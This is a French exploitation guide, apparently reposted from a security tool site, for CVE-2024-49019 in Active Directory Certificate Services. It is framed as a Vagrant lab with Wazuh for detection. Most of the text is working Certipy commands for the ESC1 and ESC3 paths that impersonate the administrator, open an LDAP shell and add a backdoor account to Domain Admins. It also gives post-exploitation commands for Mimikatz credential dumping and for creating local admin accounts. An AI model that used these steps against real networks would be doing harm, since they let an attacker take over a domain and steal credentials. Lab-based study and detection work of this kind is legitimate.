Exploitation de CVE-2024-49019 : Élévation de privilèges de l'autorité de certification

Aperçu

CVE-2024-49019 est une vulnérabilité dans les services de certificats Active Directory (AD CS) qui permet à un attaquant d'élever ses privilèges en abusant de l'authentification par certificat. Ce guide montre comment exploiter cette vulnérabilité à l'aide de Certipy.

Tableau des identifiants

La VM Ubuntu-Wazuh est utilisée à des fins de détection. Guide de détection Atténuation

Étape 1 : Cloner le dépôt et configurer les machines virtuelles

Tout d'abord, clonez le dépôt contenant les fichiers nécessaires :

git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng

Installer Vagrant

Vous devez installer Vagrant sur votre machine hôte avant de continuer.

Pour Windows

Téléchargez et installez Vagrant à partir de ici, ou installez-le via PowerShell :

choco install vagrant

Pour Linux

sudo apt update && sudo apt install vagrant -y

Configurer les machines virtuelles

VM Windows Server 2022

cd windows-server2022
vagrant up

VM Kali Linux

cd kali-VM
vagrant up

VM Wazuh Ubuntu

cd WazuhUbuntu
vagrant up

Étape 2 : Configurer le réseau virtuel

Étant donné que l'exploit nécessite un réseau NAT, configurez VirtualBox comme suit :

Sur Windows

Avant d'exécuter la commande ci-dessous, assurez-vous que VBoxManage est ajouté à vos variables d'environnement. Sinon, exécutez la commande en utilisant son chemin complet :

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Si VBoxManage n'est pas reconnu, utilisez :

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Sur Linux

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Assurez-vous de vérifier toutes les VM dans VirtualBox et de vous assurer qu'elles sont affectées à l'adaptateur réseau NatNetwork - NatNet1. Vous pouvez créer un réseau NAT avec un nom différent, mais il doit être dans la plage IP 10.0.2.0/24.

Remarque : Il est recommandé de configurer le DNS pour le serveur Wazuh. Dans ce cas, le DNS doit être : 10.0.2.1 - Parfois, sans internet, la vérification de l'API échoue et vous ne pouvez pas accéder au tableau de bord Wazuh

Étape 3 : Modifier le fichier hosts

Avant de continuer, assurez-vous que toutes les VM sont allumées.

Accédez à la VM Kali Linux pour lancer l'attaque et mettez à jour votre fichier /etc/hosts :

sudo nano /etc/hosts

Ajoutez l'entrée suivante :

10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local

Enregistrez et quittez.

Étape 4 : Configurer l'environnement

Naviguez vers le répertoire CVE-49019 et activez l'environnement virtuel Python :

cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate

Étape 5 : Méthodes d'exploitation

Il existe deux façons d'exploiter cette vulnérabilité : ESC1 et ESC3.

Méthode ESC1

Trouver les modèles vulnérables

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

Demander un certificat

certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'

Utiliser le certificat pour l'accès au shell LDAP

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

Ajouter un nouvel utilisateur

add_user badadmin

Ajouter l'utilisateur au groupe Admins du domaine

add_user_to_group badadmin "Domain Admins"

Méthode ESC3

Trouver les modèles vulnérables

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

Demander un certificat depuis l'utilisateur de test

certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121

Demander un certificat pour l'administrateur du domaine à l'aide du certificat testuser

certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121

C'est ici que cette méthode diffère de l'ESC1, car elle permet de demander un PKINIT et d'obtenir les hashs du TGT

certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121

Remarque : Si vous obtenez l'erreur : lors de la tentative de demande de TGT : Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Il existe une solution de contournement : assurez-vous que votre machine hôte a la même heure que le serveur Windows lui-même. Assurez-vous d'exécuter cette commande pour mettre à jour la VM Kali-Linux afin qu'elle soit synchronisée avec le serveur Windows.

sudo timedatectl set-ntp off

sudo rdate -n 10.0.2.121

Assurez-vous que le serveur Windows a le même fuseau horaire que la machine hôte. Sachez qu'il ne peut pas être modifié à cause de l'organisation. Veuillez envisager d'aller dans Date et fuseau horaire pour le changer manuellement afin qu'il corresponde à la machine hôte. La VM Kali et le serveur Windows doivent avoir la même heure que la machine hôte.

Vous pouvez essayer de forcer la synchronisation de l'heure à l'aide de la commande ci-dessous

w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update

Utiliser le certificat pour obtenir un accès administrateur

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

Étape 6 : Que pouvez-vous faire après l'exploitation ?

Une fois l'accès au niveau administrateur obtenu, l'attaquant peut :

• Créer et gérer des comptes utilisateur
  root@kitploit:~

  net user hacked /add
  net localgroup "Administrators" hacked /add
  

• Extraire les identifiants à l'aide de Mimikatz :
  root@kitploit:~

  sekurlsa::logonpasswords
  

• **Secretdump à l'aide d'Impacket
• **Wmiexec pour accéder au shell du serveur Windows
• **Changer l'administrateur du serveur Windows à l'aide de BloodyAD
• Pivoter et se déplacer latéralement dans le réseau
• Établir une persistance
• Exfiltrer des données sensibles

Pour les stratégies de détection et d'atténuation, reportez-vous au guide de détection.

Conclusion

CVE-2024-49019 présente un risque de sécurité important en raison de sa capacité à permettre une élévation de privilèges non autorisée. Comprendre cette vulnérabilité et déployer des mécanismes de détection appropriés, comme l'utilisation de Wazuh, est essentiel pour sécuriser les environnements Active Directory.

Pour plus d'informations sur la sécurisation d'AD CS, consultez Microsoft Security CVE-2024-49019.